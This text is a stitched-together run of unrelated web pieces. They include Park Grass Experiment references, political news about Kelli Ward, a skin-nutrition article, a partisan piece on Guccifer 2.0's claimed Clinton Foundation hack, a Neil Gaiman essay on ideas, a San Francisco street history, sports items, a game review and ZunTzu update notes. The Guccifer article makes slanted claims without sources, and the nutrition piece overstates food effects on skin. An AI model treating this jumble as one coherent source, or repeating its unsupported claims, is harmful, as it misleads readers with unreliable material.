With thanks to Paul Poulton and Andy Macdonald for help with compiling the text and plans.
Related Links
A selection of links to internal and external web sites refering to the Park Grass Experiment
Key References
Bowley, H. E. , Mathers, A. W. , Young, S. D. , Macdonald, A. J. , Ander, E. L. , Watts, M. J. , Zhao, F. J. , McGrath, S. P. , Crout, N. M. J. and Bailey, E. H. (2017) "Historical trends in iodine and selenium in soil and herbage at the Park Grass Experiment, Rothamsted Research, UK", Soil Use and Management, 33, 252-262
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J. Storkey , A.J. Macdonald , J.R. Bell , I.M. Clark , A.S. Gregory , N.J. Hawkins , P.R. Hirsch , L.C. Todman and Whitmore, A. P. (2016) "The Unique Contribution of Rothamsted to Ecological Research at Large Temporal Scales.", Advances in Ecological Research (eds: A.J. Dumbrell , R.L. Kordas and G. Woodward), Vol 55, Chapter 1, pp. 3-42
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Storkey, J. , Macdonald, A. J. , Poulton, P. R. , Scott, T. , Kohler, I. H. , Schnyder, H. , Goulding, K. W. T. and Crawley, M. J. (2015) "Grassland biodiversity bounces back from long-term nitrogen addition", Nature , 528, 401-4
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Johnston, A. E. , Poulton, P. R. and Coleman, K. (2009) "Soil organic matter: its importance in sustainable agriculture and carbon dioxide fluxes", Advances in Agronomy, 101, 1-57
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Silvertown, J. , Poulton, P. R. , Johnston, A., E. , Edwards, G. , Heard, M. and Biss, P. M. (2006) "The Park Grass Experiment 1856-2006: Its contribution to ecology", Journal of Ecology, 94, 801-814
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Crawley, M. J. , Johnston, A. E. , Silvertown, J. , Dodd, M. , de Mazancourt, C. , Heard, M. S. , Henman, D. F. and Edwards, G. R. (2005) "Determinants of species richness in the Park Grass experiment", American Naturalist, 165, 179-192
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Kunin, W. E. (1998) "Biodiversity at the edge: A test, of the importance of spatial "mass effects" in the Rothamsted Park Grass experiments", Proceedings of the National Academy of Sciences of the United States of America, 95, 207-212
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Poulton, P. R. (1996) "The Park Grass Experiment, 1856-1995", NATO advanced research workshop, Evaluation of soil organic matter models using existing long-term datasets, NATO ASI Series I: Global Environmental Change, (Powlson D. S. , Smith P. and Smith J.U. (eds)) , Vol 38 , 377-384
, , 377-384 Poulton, P. R. (1996) "Park Grass. ", Global Change and Terrestrial Ecosystems, Report No. 7, GCTE Task 3.3.1, Soil Organic Matter Network (SOMNET), 1996 Model and Experimental Metadata (Smith P. , Smith J.U. and Powlson D.S. (eds)), 129-132
Jenkinson, D. S. , Potts, J. M. , Perry, J. N. , Barnett, V. , Coleman, K. and Johnston, A. E. (1994) "Trends in Herbage Yields over the Last Century on the Rothamsted Long-Term Continuous Hay Experiment", Journal of Agricultural Science, 122, 365-374
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Morris, M. G. (1992) "Responses of Auchenorhyncha (Homoptera) to Fertilizer and Liming Treatments at Park Grass, Rothamsted", Agriculture Ecosystems & Environment, 41, 263-283
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Thurston, J. M. , Williams, E. D. and Johnston, A. E. (1976) "Modern developments in an experiment on permanent grassland started in 1856: effects of fertilizers and lime on botanical composition and crop and soil analyses", Annales Agronomiques, 27, 1043-1082
"I think we do need to mix the mortar to fix the border, " Ward said, citing a key policy difference between herself and Flake.
"I haven't been selected by any insider group to represent the state of Arizona," Ward assured on "Fox & Friends." "I've been selected by the people of our state and the people of our country."
The Arizona state senator stated that she has a track record of doing what she promises in the state senate, and said that will not change.
President Trump applauded Ward's challenge to Flake in a tweet last week.
Great to see that Dr. Kelli Ward is running against Flake Jeff Flake, who is WEAK on borders, crime and a non-factor in Senate. He's toxic! — Donald J. Trump (@realDonaldTrump) August 17, 2017
Ward also said her background as a physician has shown her that ObamaCare is hurting people, calling the inaction by Congress "appalling."
Peters on USS McCain Collision: The Navy 'Is in a Bad Way Right Now'
Democrat Fundraising Is Worst in a Decade
"Unfortunately for us in Arizona, we don't have a conservative, Republican senator," she remarked. "We don't have a senator who supports the president at all."
Ward lost her challenge to Sen. John McCain in 2016.
Flake made headlines a few weeks ago when he released a book and declared the GOP to be "in denial" on President Trump.
'A Country of Laws': Canada's Trudeau Sounds Alarm About Illegal Immigrants
It’s finally getting warm out, and that means pool parties and beach weekends. Relaxing and getting some Vitamin D is definitely important for optimal wellbeing, but too much time in the sun can also damage your skin and health.
In order to protect your skin from UV damage, you have to strengthen the cells that line the skin wall. There are many creams that can help protect you from UV rays, but including certain foods and nutrients in your diet will help you from the inside out and benefit your skin in more ways than one, helping to prevent premature skin aging and lower your risk of skin cancer.
Collagen is a protein, made up of amino acids, that is found throughout the body. It’s in your ligaments, tendons, tissues such as the skin, in your bones, vessels and even your gut. It’s what gives your skin it’s elasticity and strength. UV radiation breaks down collagen at a faster rate than with regular aging, so it’s important to nourish your body with collagen-supporting nutrients.
Nutrient Rich Natural Foods that support Collagen production:
Essential nutrients that support collagen production include lutein, lycopene, hyaluronic acid, Omega-3 essential fatty acids, Vitamin A, Vitamin C and Sulphur.
~Lutein is a carotenoid found in dark green leafy vegetables such as kale, collard greens, swiss chard and bok choy, as well as in mangoes, sweet potatoes, carrots, squash and tomatoes. It helps absorb blue light, a damaging component of sunlight.
~Lycopene is another carotenoid that gives tomatoes, red peppers and berries it’s red pigmentation. It’s a powerful antioxidant that supports collagen production. Other foods high in lycopene include watermelon, papaya, guava, red grapefruit, and red cabbage.
~Hyaluronic acid is a carbohydrate found in the body that helps to maintain proper lubrication and movement for the joints and muscles. As we age, the amount of hyaluronic acid in our body decreases and this is what causes wrinkles and sagging skin. Including certain foods such as beans and legumes in your diet help to plump up your skin and moisturize it, decreasing the effects of aging.
~Omega-3 essential fatty acids are vital for most functions of the human body. Studies suggest that EFAs may reduce sun sensitivity. They also help reduce inflammation in the body and improve the overall quality of the skin. Foods rich in Omega-3s include flaxseeds, chia seeds, salmon, fish oil, sardines, cod, mackerel, eggs, soybeans, spinach, kale, Brussels sprouts, winter squash, broccoli and cauliflower.
~Vitamin A is created in the body from beta-carotene, the pigment found in red and orange fruits and vegetables. It’s an antioxidant that helps protect the body from free radical damage. Foods rich in vitamin A include apricots, cherries, mangos, peaches, watermelon, carrots, pumpkin, red cabbage, sweet potatoes, winter squash, broccoli, Brussels sprouts and spinach.
~Vitamin C is a the most common antioxidant that we think when it comes to protecting our immunity. It also protects the skin from harmful UV rays and helps the body manufacture collagen, reducing wrinkles and preventing sagging skin. Kiwi, lemons, oranges, camu camu berries, acerola cherries, peppers, guava, kale, parsley, collard greens, turnips, broccoli, strawberries and papaya are all good sources of vitamin c.
The Democratic Party has already been surrounded by scandal thanks to internet hackers leaking damaging emails and files from the Democratic National Committee (DNC) and the Democratic Congressional Campaign Committee (DCCC) information, but now thanks to Guccifer 2.0 Hillary Clinton and the Clinton Foundation are again at the center of the debate.
With Guccifer 2.0 leaking critical information alleging to be a part of the Clinton Foundation’s pay to play scheme, both Democrats and the Clintons are being forced to answer corruption charges once again.
Guccifer 2.0 is an Internet hacker from Romania, responsible for the initial hacking of the DNC and the DCCC and is now claiming responsibility for an Oct. 4, 2016 hack of the Clinton Foundation’s documents and donors’ databases.
Among the pictures uploaded to the Guccifer 2.0 blog is a list of folders the Clinton Foundation is said to have on their software, including a folder entitled “Pay to Play”. This appears to refer to the Clinton and Clinton Foundation scandal in which she planned Secretary of State visits and appointments with individuals who made generous contributions to the Clinton Foundation.
The Associated Press unveiled this practice in Aug. 2016, where they explained that “At least 85 of 154 people from private interests who met or had phone conversations scheduled with Clinton while she led the State Department donated to her family charity or pledged commitments to its international programs, according to a review of State Department calendars released so far to The Associated Press. Combined, the 85 donors contributed as much as $156 million.”
However, the Clinton Foundation officials have already been quick to dismiss this hacking as a hoax claiming, “We still have no evidence Clinton Foundation systems were breached and have not been notified by law enforcement of an issue. None of the folders or files shown are from the Clinton Foundation.”
The Hill reporter Katie Bo Williams continues her report on the possible hoax by explaining that many of the documents appear to be consistent with DCCC server information previously released in Guccifer 2.0’s last hacking expedition. Adding to the DCCC corruption issue as, if true, the “Pay to Play” folder would seemingly be their responsibility.
The situation does not end there, while the Clinton Foundation might claim that there is no evidence of a hacking, this is not the first time this has occurred.
In June Bloomberg reported government investigators stating that Guccifer 2.0 had in fact. successfully hacked into the Clinton Foundation sever. Thousands of documents were expected to be released ranging from “gossip about world leaders and Hollywood stars” to “Donor information and opposition research on Trump”.
Is Guccifer 2.0’s latest claims the beginning of those disclosures? Or is this week’s release simply an extension of the June DNC and DCCC cyber breaches?
While this week’s breach of the Clinton Foundation server might have been a hoax, the “Pay to Play” file folder had to come from somewhere. What was in it, we wonder? As the Clintons hopefully now realize the importance of securing their servers, Guccifer 2.0’s latest attack once again damages both the Clintons and the Democratic Committees, who are forced to defend themselves against a continued torrent of corruption charges in the closing weeks of the election until November arrives.
Every profession has its pitfalls. Doctors, for example, are always being asked for free medical advice, lawyers are asked for legal information, morticians are told how interesting a profession that must be and then people change the subject fast. And writers are asked where we get our ideas from.
In the beginning, I used to tell people the not very funny answers, the flip ones: 'From the Idea-of-the-Month Club,' I'd say, or 'From a little ideas shop in Bognor Regis,' 'From a dusty old book full of ideas in my basement,' or even 'From Pete Atkins.' (The last is slightly esoteric, and may need a little explanation. Pete Atkins is a screenwriter and novelist friend of mine, and we decided a while ago that when asked, I would say that I got them from him, and he'd say he got them from me. It seemed to make sense at the time.)
Then I got tired of the not very funny answers, and these days I tell people the truth:
'I make them up,' I tell them. 'Out of my head.'
People don't like this answer. I don't know why not. They look unhappy, as if I'm trying to slip a fast one past them. As if there's a huge secret, and, for reasons of my own, I'm not telling them how it's done.
And of course I'm not. Firstly, I don't know myself where the ideas really come from, what makes them come, or whether one day they'll stop. Secondly, I doubt anyone who asks really wants a three hour lecture on the creative process. And thirdly, the ideas aren't that important. Really they aren't. Everyone's got an idea for a book, a movie, a story, a TV series.
Every published writer has had it - the people who come up to you and tell you that they've Got An Idea. And boy, is it a Doozy. It's such a Doozy that they want to Cut You In On It. The proposal is always the same - they'll tell you the Idea (the hard bit), you write it down and turn it into a novel (the easy bit), the two of you can split the money fifty-fifty.
I'm reasonably gracious with these people. I tell them, truly, that I have far too many ideas for things as it is, and far too little time. And I wish them the best of luck.
The Ideas aren't the hard bit. They're a small component of the whole. Creating believable people who do more or less what you tell them to is much harder. And hardest by far is the process of simply sitting down and putting one word after another to construct whatever it is you're trying to build: making it interesting, making it new.
But still, it's the question people want to know. In my case, they also want to know if I get them from my dreams. (Answer: no. Dream logic isn't story logic. Transcribe a dream, and you'll see. Or better yet, tell someone an important dream - 'Well, I was in this house that was also my old school, and there was this nurse and she was really an old witch and then she went away but there was a leaf and I couldn't look at it and I knew if I touched it then something dreadful would happen...' - and watch their eyes glaze over.) And I don't give straight answers. Until recently.
My daughter Holly, who is seven years of age, persuaded me to come in to give a talk to her class. Her teacher was really enthusiastic ('The children have all been making their own books recently, so perhaps you could come along and tell them about being a professional writer. And lots of little stories. They like the stories.') and in I came.
They sat on the floor, I had a chair, fifty seven-year-old-eyes gazed up at me. 'When I was your age, people told me not to make things up,' I told them. 'These days, they give me money for it.' For twenty minutes I talked, then they asked questions.
And eventually one of them asked it.
'Where do you get your ideas?'
And I realized I owed them an answer. They weren't old enough to know any better. And it's a perfectly reasonable question, if you aren't asked it weekly.
This is what I told them:
You get ideas from daydreaming. You get ideas from being bored. You get ideas all the time. The only difference between writers and other people is we notice when we're doing it.
You get ideas when you ask yourself simple questions. The most important of the questions is just, What if...?
(What if you woke up with wings? What if your sister turned into a mouse? What if you all found out that your teacher was planning to eat one of you at the end of term - but you didn't know who?)
Another important question is, If only...
(If only real life was like it is in Hollywood musicals. If only I could shrink myself small as a button. If only a ghost would do my homework.)
And then there are the others: I wonder... ('I wonder what she does when she's alone...') and If This Goes On... ('If this goes on telephones are going to start talking to each other, and cut out the middleman...') and Wouldn't it be interesting if... ('Wouldn't it be interesting if the world used to be ruled by cats?')...
Those questions, and others like them, and the questions they, in their turn, pose ('Well, if cats used to rule the world, why don't they any more? And how do they feel about that?') are one of the places ideas come from.
An idea doesn't have to be a plot notion, just a place to begin creating. Plots often generate themselves when one begins to ask oneself questions about whatever the starting point is.
Sometimes an idea is a person ('There's a boy who wants to know about magic'). Sometimes it's a place ('There's a castle at the end of time, which is the only place there is...'). Sometimes it's an image ('A woman, sifting in a dark room filled with empty faces.')
Often ideas come from two things coming together that haven't come together before. ('If a person bitten by a werewolf turns into a wolf what would happen if a goldfish was bitten by a werewolf? What would happen if a chair was bitten by a werewolf?')
All fiction is a process of imagining: whatever you write, in whatever genre or medium, your task is to make things up convincingly and interestingly and new.
And when you've an idea - which is, after all, merely something to hold on to as you begin - what then?
Well, then you write. You put one word after another until it's finished - whatever it is.
Sometimes it won't work, or not in the way you first imagined. Sometimes it doesn't work at all. Sometimes you throw it out and start again.
I remember, some years ago, coming up with a perfect idea for a Sandman story. It was about a succubus who gave writers and artists and songwriters ideas in exchange for some of their lives. I called it Sex and Violets.
It seemed a straightforward story, and it was only when I came to write it I discovered it was like trying to hold fine sand: every time I thought I'd got hold of it, it would trickle through my fingers and vanish.
I wrote at the time:
I've started this story twice, now, and got about half-way through it each time, only to watch it die on the screen.
Sandman is, occasionally, a horror comic. But nothing I've written for it has ever gotten under my skin like this story I'm now going to have to wind up abandoning (with the deadline already a thing of the past). Probably because it cuts so close to home. It's the ideas - and the ability to put them down on paper, and turn them into stories - that make me a writer. That mean I don't have to get up early in the morning and sit on a train with people I don't know, going to a job I despise.
My idea of hell is a blank sheet of paper. Or a blank screen. And me, staring at it, unable to think of a single thing worth saying, a single character that people could believe in, a single story that hasn't been told before.
Staring at a blank sheet of paper.
Forever.
I wrote my way out of it, though. I got desperate (that's another flip and true answer I give to the where-do-you-get-your-ideas question. 'Desperation.' It's up there with 'Boredom' and 'Deadlines'. All these answers are true to a point.) and took my own terror, and the core idea, and crafted a story called Calliope, which explains, I think pretty definitively, where writers get their ideas from. It's in a book called DREAM COUNTRY. You can read it if you like. And, somewhere in the writing of that story, I stopped being scared of the ideas going away.
Where do I get my ideas from?
I make them up.
Out of my head.
It wasn't always this way. If you look at a map from the turn of the 20th century, you'll notice that Divisadero ( at the time called "Devisadero" ), just... ends.
The story of how the two streets joined isn't just about a little neighborhood paving, though. It's an early chapter in the development of the city's freeways, the Freeway Revolts of the 1950s and 60s, and the ongoing debates about transit and city planning today.
Divisadero and Castro, 1904:
Divisadero and Castro, 2014:
(Image: Google)
Most of the Western Addition and Castro neighborhoods were spared destruction from the 1906 earthquake, and prospered in the next couple of decades. Meanwhile, by the 1930s, cars had become common on local streets. Traffic was getting snarled, and the city was trying to figure out what to do.
A leading idea was to build a "Castro-Divisadero Divisional Highway" up the middle of the city, from Alemany Boulevard to Lombard Street, where it would connect with the proposed Golden Gate Bridge. The concept first seems to have surfaced in the 1920s, based on our research in the archives of the San Francisco Public Library . Here's a proposed map from 1927, via Walking SF
The route was staunchly supported by the Eureka Valley Promotion Association , a local neighborhood group found in 1881. It represented the Castro area, and saw the highway as a new way to ease local traffic and help get more customers to area businesses.
Remember, this was decades before the federal highway system, back when today's 101 was still a section of Bayshore Boulevard , and before the Central Freeway gave cars direct access to the middle of the city.
If you look through the EVPA meeting minutes from the late 20s and early 30s, you'll find a long-running set of discussions about the highway's progress, supporting the Castro-Divisadero connection at the most local level, the broader Alemany-to-Lombard highway concept, and the notion of the Golden Gate Bridge itself.
At one meeting in late 1929, “Congressman [Richard J.] Welch reported that the proposed Cross Town Divisional Highway and Golden Gate Bridge were badly need by San Francisco, but stressed the necessity of making the highway wide enough to accommodate future traffic. The association went on record as declaring the Golden Gate Bridge a vital need of San Francisco.”
Although few may realize this now, the bridge was a controversial project at the time, and its supporters had to fight hard to raise the bond money needed for it.
But the EVPA could not be put off from the local highway concept. In a 1932 meeting, the year before Bay Area voters approved Bridge funding, member and city engineer George S. Hill told his colleagues that "we should not wait for the favorable dicisdion [sic] on the Golden Gate Bridge as the Divisional Highway is necessary whether the bridge is built or not."
Working closely with the Castro Improvement Club (another neighborhood group), the EVPA raised money and rallied political support – with the priority being the Castro-Divisadero street connection.
By 1934 the city had purchased $50,000 worth of lots in the Castro and Divisadero area with the intention of buying up $55,000 more to clear for a new cross-city highway. Another $70,000 was budgeted for construction purposes, such as widening the road to 60'. Plans were put into place to reroute cable cars to side roads, and a tunnel was planned in the northern Marina-end of Divisadero to expedite traffic to the bridge. ( Calculated for inflation, this adds up to around $3 million in 2014 dollars.)
Writing in a 1938 edition of Architect & Engineer , Hill praised the plan he had been supporting for years.
"The evolution of a network of major streets is the key to the solution of the transportation and traffic problems in San Francisco... San Francisco is a city of many hills and valleys which should be made accessible not only from the business center but from one another. Only in this way will it be possible to secure a well balanced development of all sections of the city."
Convenience and connectivity aside, not all residents were fans of creating a central freeway that would cut San Francisco in half, including at least one property owner who owned a lot on the proposed route . A city report from late 1934 concluded that all required lots had been purchased, and "The City Attorney has been requested to prepare a condemnation suit for the acquisition of the remaining lot required for the Castro-Divisadero Divisional Highway."
The lot owner lost the fight, and construction between Castro and Divisadero finally began in 1937, four years after the Golden Gate Bridge began to rise. Divisadero Street was widened, graded and linked, but the tunnel, cable car re-routing and other major infrastructure changes never happened along the other parts of the proposed route. Although information is scant about the plans in this era, it seems that local opposition made extensive road development difficult, in addition to the distractions of the Great Depression and World War II.
But the Divisional Highway dream lived on at least until the mid-1940s. In 1944, the city published this map of possible developments (from Walking SF, via SF Mission ):
However, in 1945, with the war over, city planners quickly embraced a grander vision. It was the so-called Master Plan , which would outline a network of freeways, as well as new housing developments and other infrastructure improvements, to be realized throughout the city. Although the Castro-Divisadero connection was already in place, the Divisional Highway overall was sidelined to be nothing more than a local north-south artery in favor of a big route up Van Ness. connection
SF Department of City Planning
Today, we have a road that feels almost indistinguishable as it goes from Divisadero to Castro Street. Passersby are usually more interested in an elaborate Santa Claus display that pops up on the front of a residential house every winter than questioning why the two roads merge into one.
But this small connection from decades ago marked the start of our current era of city development. Neighborhood associations were popping up around the city, and the power of democracy and community engagement was just beginning to make a huge play on city construction and infrastructure (whether for or against major projects).
. Check it out!
L
This month I will meditate daily, for at least 5 minutes.
Let's also do a small reader poll
A familiar sight for Boston: The Spurs coming away with the defensive rebound.BOSTON -- The Boston Celtics narrowly avoided being only the second team in the last quarter century to be shut out on the offensive glass when Brandon Bass tipped home a Paul Pierce miss with 88 seconds remaining in Wednesday's 112-100 loss to the San Antonio Spurs at TD Garden.
That was Boston's only offensive carom of the night, but Rivers insisted he's not concerned by the low number.
“Honestly, we shot 53 percent, [so] there’s not going to be a lot of offensive boards," said Rivers. "You know what I mean? So I’m not that concerned by it. [The Spurs] shot 58 percent and they had six. So, you’re a big believer in offensive rebounds I think; I’m not. Listen, like I said, you can pick on that all I want. That is a number I rarely look at, offensive rebounds. Statistically, it holds up. I can tell you, you don’t offensive rebound, you stop transition, you win more games than when you get offensive rebounds. I can guarantee you that on those stats."
The Celtics' defensive philosophy in recent seasons has been to eschew second-chance opportunities with the goal of getting back and forcing opponents to play in a halfcourt set. That's helped make Boston one of the league's top defenses throughout the Kevin Garnett era. Heck, Boston had the lowest offensive rebound percentage (19.7) in league history last year.
Boston surely wants to grab more offensive boards, and rookie Jared Sullinger has earned heavy playing time with that in mind. But Rivers refuses to allow more transition opportunities and it's easy to understand why: The Celtics rank dead last in the league in points allowed per transition play.
Photo by Mark Wilson/Getty Images
Phil Rucker is out with a smartly conceived piece that asks whether “Tea Party” congressmen are finally courting a backlash from the old guard. Smart concept, like I said, but the evidence simply isn’t to be found here. Let’s start with the congressmen Rucker spotlights.
Rep. Walter Jones, elected in 1994, described as “an outspoken iconoclast who has repeatedly antagonized Boehner.”
Rep. Scott DesJarlais, elected in 2010, who has never recovered from stories about affairs, one of which ended with an abortion.
Rep. Justin Amash, elected in 2010, against whom moderates “are recruiting a Republican primary challenger who they hope will serve the old-fashioned way.”
Rep. Kerry Bentivolio, elected in 2012, facing “a well-funded primary campaign” after winning by accident because Rep. Thad McCotter’s career imploded.
You can spot the problem, right? Four members in trouble does not equal much of a backlash in a 233-member conference. Of these poor saps, one (DesJarlais) is in trouble because of a sex scandal, not his politics. One (Jones) predates the Tea Party wave, and has actually faced multiple primary challenges ever since he became a hard-core vote against funding America’s wars. Taylor Griffin, his latest challenger, specifically says he’s going after Jones because he’s too “liberal.”
Yesterday, The guild 3 landed in Early Access on steam, and since I’ve been playing this franchise on and off for the last few years, I thought to check out what the new game looks like.
Keep in mind that this game is in it’s earlies stages of completion, despite the fact that the developers announced a “playable game with only performance optimisation and tuning left out”.
I have now clocked 3 hours of gameplay, of which I spent about half an hour checking out the options, character creation and a quick view over the UI.
This review will be sectioned in the following way:
Graphics
Sound
User Interface
Gameplay
Verdict
Furthermore, I will include a small amount of feedback and what I think needs to be changed to each section.
Graphics
It looks gorgeous. That’s what they promised. Aside from that, performance issues occur, even stronger with weather like snow. Still, visually, this game is appealing and a nice upgrade from TG2-renaissance.
One could wish for more character customisation options though. Especially faces.
The city design is also something nice. It does not feel too crowded, yet lively. It is a good reflection of what a 1700’s city would have looked like. Some districts are walled off, others are not.
Sound
There’s not too much to say. The music is nice to hear, not too strong for it to be distracting. Apparently, there’s a feature tied in, with the music being fit to your social standing ingame, as stated in one of the loading screen tips. Sadly, I haven’t noticed such a thing yet…
The voicelines feel outlandish. They are aggressive, repetitive and much too loud on several instances. Having your PC asking over and over again what potatoes are, is just annoying. Furthermore, your PC(s) do not make you feel that they actually like what they’re doing. One could wish for more friendly, positive voicelines, as well as less longer ones. A simple “Yes?” when clicking would improve immersion much more than a character complaining about work.
User Interface
Now this is a mess. In simulation games, your prized horse should be a good, intuitive and working interface. Yet, this one seems so unpolished.
First of all: it is unreactive. Double-clicking to sell a full stack of stuff has to be done in a specific rhythm to be successful. Clicking too fast or too slow will yield in either nothing or just 1 item selected…
Second: Tooltips are a horror. People not familiar with a guild game, will never know that you actually need to rightclick to see a tooltip. And then, when you want to inspect something on the bottom of the screen, the tooltip just gets cut off.
This needs to be fixed asap… Along with the unreactivity of the tooltip function.
Another problem is that you can click through the UI at, apparently, random times. This results in your character wandering off somewhere, when all you wanted is to assign a talent…
Border scrolling with your mouse does not function to 100% and you’re better off using WASD on your keyboard.
Loading screens are strange too. The loading bar goes to 10% and then loading is done. Why adding a loading bar when it does not provide any useful information? Furthermore: please center your loading screen tips and either make their boxes smaller or the text larger. Having a text box of the surface of russia for 10 words seems a bit overkill. It just feels empty.
The options are something that needs work too. As of now, for every change, you need to restart the game. This may be an EA-symptom that will be fixed later on.
What this desperately needs, is a “Return to main title” button, that actually works. It is there, but greyed out.
In my opinion, the UI needs to have the highest priority in development.
Gameplay
Gameplay hasn’t changed much, compared to TG2-Renaissance. You buy, you produce, you sell. Easy. That aspect works ingame, as well as progressing.
You progress through gaining experience, which can be allocated towards specific talent trees, respective of their trade: Handcrafts, Rogue, Scholar and Food-provider. A fifth talent tree with some (rather questionable) traits like “anxiety: be more alert towards dangers” is also present.
Talent trees in their presentation are not intuitive.
For starters: why do you need to learn woodworking 0? This makes no sense. You start as a 0 and upgrade to 1. While nitpicky, this is just a basic numbering issue that bothers me.
Also: it is interesting how the traits are implemented. You can either gather enough “free” experience and buy a trait of choice, or set that specific trait up and any experience gained will go towards this trait. Sadly, the UI does not underline this functionality, which results in moments where you question yourself if you just learned something or not…
Buildings are present and they did not change at all or very little, compared to the previous title. One could wish for more diversity. And maybe the possibility to work on a lumber factory instead of being forced to buy wood. As a Lumberjack…
Trade routes, one of the most important automations of such games, don’t work. I have no idea if that is not yet implemented, or just a bug. Do not make the mistake to try and set a trade route up. It will result in a crash (if you find the right menu to do so).
In tuning, the pacing is far too strange. You level up so fast in citizenship, while you still need to forge 226 daggers to finally be able to buy a foundry. As the developers said, tuning comes in last.
The economy does not seem to function at all. Every walking stick you produce, sells for the same amount of gold. This cheeses the progression system a bit, since you can just focus on one article and you’re good.
Also, why the heck is a load of white bread roughly 10 times more expensive than a cow?
In my opinion, the production system needs more. You should be able to do more things, not just 3 random articles at level 1, then 3 more at level 2 etc. Why not take inspiration out of real life? A smith, in his early years, will probably learn to build their own tools. And only after mastering this, the can start to produce more intricate articles, like a dagger…
The economy needs to be rounded out. Articles need to stand in a relation to each other. Buy and sell margins need to be a bit more realistic, and building prices need to be jacked up by a lot.
The talent tree needs an overhaul, in combination with the whole UI. Hopefully, that improves one of the biggest issues of this title at this moment.
Verdict
I’m not gonna lie. After waiting for 2 years on that title (I added it to my Steam wishlist on October 22nd 2015), I’m quite disappointed, yet optimistic with what is delivered. Mixed feelings.
Still, I believe, with the right design choices, this title can survive the Early Access stage and come out as a stable, successful title in this established franchise.
If you’re asking whether to buy or not, ask yourself this question: are you willing to beta-test and give feedback? If yes, then go along. Sales motivate developers and even the slightest compliment or positive feedback will result in a better product. If you just want a finished game early, this is not the time your you to buy in. Maybe they could add a few things on their roadmap 😉
As for a final verdict, I hope that this bad initial reception leads to a more polished version when the second EA-stage begins. I will certainly try to find some stuff that does not work apart from the initial, obvious hits and misses that this game version delivered.
That’s all for now, cheers!
Atlanta Falcons offensive assistant Mike McDaniel (left) and wide receiver Justin Hardy (16) during the third quarter against the San Francisco 49ers at Levi's Stadium. (Photo11: Kyle Terada, USA TODAY Sports)
HOUSTON – Mike McDaniel can see it clearly now, the ways alcohol has interfered over and over during his promising young NFL coaching career.
He overslept a couple times before Gary Kubiak let him go in Houston. Mike Pettine found bottles of cheap vodka under his desk in Cleveland. Even when he wasn’t getting in trouble for drinking, McDaniel was having trouble with drinking, no matter how many excuses he made to himself about its effects on his creativity and personality.
“Everyone’s always said the same thing about me: how talented I am, how smart I am – but,” McDaniel told USA TODAY Sports this week during a break in the Atlanta Falcons’ preparations for Super Bowl LI against the New England Patriots, referencing the inevitable hang-up that always seemed to follow. “And I wanted to figure out why I kept sabotaging myself and what I was missing.”
If there’s one story that illustrates the brotherhood the Falcons have talked about so much here, it may be what took place quietly about a year ago with McDaniel – the 33-year-old, Yale-educated offensive assistant who has spent much of the past decade as coordinator Kyle Shanahan’s scheme-scrutinizing wingman and second set of eyes on game day.
MORE COVERAGE:
Pierre Garcon, who led the NFL in catches when McDaniel was the Washington Redskins’ receivers coach in 2013, calls him “probably the smartest one” of the position coaches he has played for. Browns receiver Andrew Hawkins says he learned more from McDaniel in one season than any other coach. Miami Dolphins offensive line coach Chris Foerster, who worked with McDaniel in Washington, calls him “the ultimate sounding board and creative guy.”
But alcohol kept getting in the way after McDaniel followed Shanahan to Atlanta in 2015. A couple Falcons staff members confronted McDaniel about changes in his disposition. He smelled like booze on some Saturday mornings. McDaniel approached Falcons coach Dan Quinn after the season about getting help and met with general manager Thomas Dimitroff and assistant GM Scott Pioli. They connected him with a team psychologist, who set up McDaniel’s roughly three-week stay at an in-patient treatment facility. Doctors diagnosed him with depression, which led to a psychological dependency on alcohol to “check out” of reality.
“For the first time in my life,” said McDaniel, who grew up an only child raised by a single mother, “I had men stand behind me and say, ‘Hey, you’re not alone, dude.’ ”
McDaniel says he had his last beer on Jan. 4, 2016, and has “zero desire” to drink again. He continued outpatient treatment after leaving the facility. When he returned, McDaniel said, Quinn offered him a chance to take on a bigger role in generating game-plan ideas and ease the burden on Shanahan, whose offense has averaged an incredible 34.4 points a game this season.
“It was beyond admirable for a young coach who’s a very intelligent person and also understands in this league, you can set a tone and all of a sudden you have a stigma attached to yourself if you’re admitting certain things,” Dimitroff said. “When your brother’s struggling, you have to be there to help him and vice versa. I think that’s what we did with Mike.”
MORE COVERAGE:
Part of the problem, McDaniel believes, is he couldn’t understand why he was so unhappy after achieving a lifelong goal. He recalls writing “You will be in the NFL” on the inside of his youth football helmet, even though he knew deep down he lacked the talent to play there. He’d bike from his home in Greeley, Colo., to Denver Broncos training camp, where he’d get autographs from dawn to dusk. He met the team’s assistant video director, who ended up marrying McDaniel’s mother, and became a Broncos ball boy through his teen years.
McDaniel’s hustle caught the eye of Shanahan’s father, Mike, who was Denver’s head coach at the time. In 2005, when McDaniel asked for a letter of recommendation after studying history and playing receiver at Yale, Mike Shanahan offered him an internship. He took on data entry and other odd jobs. Kubiak, then the Broncos’ offensive coordinator, fought to keep McDaniel on during the season and eventually took him along as a 22-year-old quality control coach to Houston.
That’s where McDaniel really got to know the younger Shanahan, who has brought him along to three other teams and perhaps a fourth soon) for a reason. But McDaniel was still partying like he was in college, contributing to his exit from the Texans after the 2008 season. He coached running backs for two seasons in the now-defunct UFL, then joined the Shanahans in Washington for three seasons before they all got fired. The low point probably came during the Browns’ slide down the stretch in 2014, when McDaniel began drinking in the office some nights, trying to re-energize his creativity and stay upbeat.
“I didn’t learn until I stopped drinking that people actually like me better when I don’t drink,” he said.
Things never got as bad in Atlanta as they did in Cleveland, McDaniel said. But he agreed when he was told there were things he needed to clean up. Now, he’s having the best year of his life, for multiple reasons.
“He’s like the big piece to this offense, man,” Falcons wide receiver Taylor Gabriel said. “He’s a smart dude and when something’s not right, he fixes it.”
Considering McDaniel says he owes his career to Kyle Shanahan, it’s a good bet he’d accept a role with the San Francisco 49ers if Atlanta lets him out and Shanahan makes an offer upon formally accepting their head coaching job.
But McDaniel says he’ll never forget what the Falcons did for him.
“It really was a life-changing process,” McDaniel said. “It was awesome, and that brotherhood that they talk about – that’s where it comes from. It’s real. Guys have each other’s back. That’s the one winning formula that will never leave me in this business, nor in life.”
Follow Tom Pelissero on Twitter @TomPelissero.
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ZunTzu is offered free-of-charge! However if you enjoyed using ZunTzu, please consider helping with the development and web hosting costs by doing a donation.
Updates
22nd of April 2011
Keep up with the latest game conversions for ZunTzu by subscribing to this new web feed.
24th of December 2010
The ZunTzu community has contributed conversions for over two hundred games.
15th of December 2008
ZunTzu is now available in six languages: English, French, German, Italian, Portuguese and Spanish. Select a language in the Player settings dialog box.
1st of November 2008
The ZunTzu community has contributed conversions for over a hundred games.
14th of January 2008
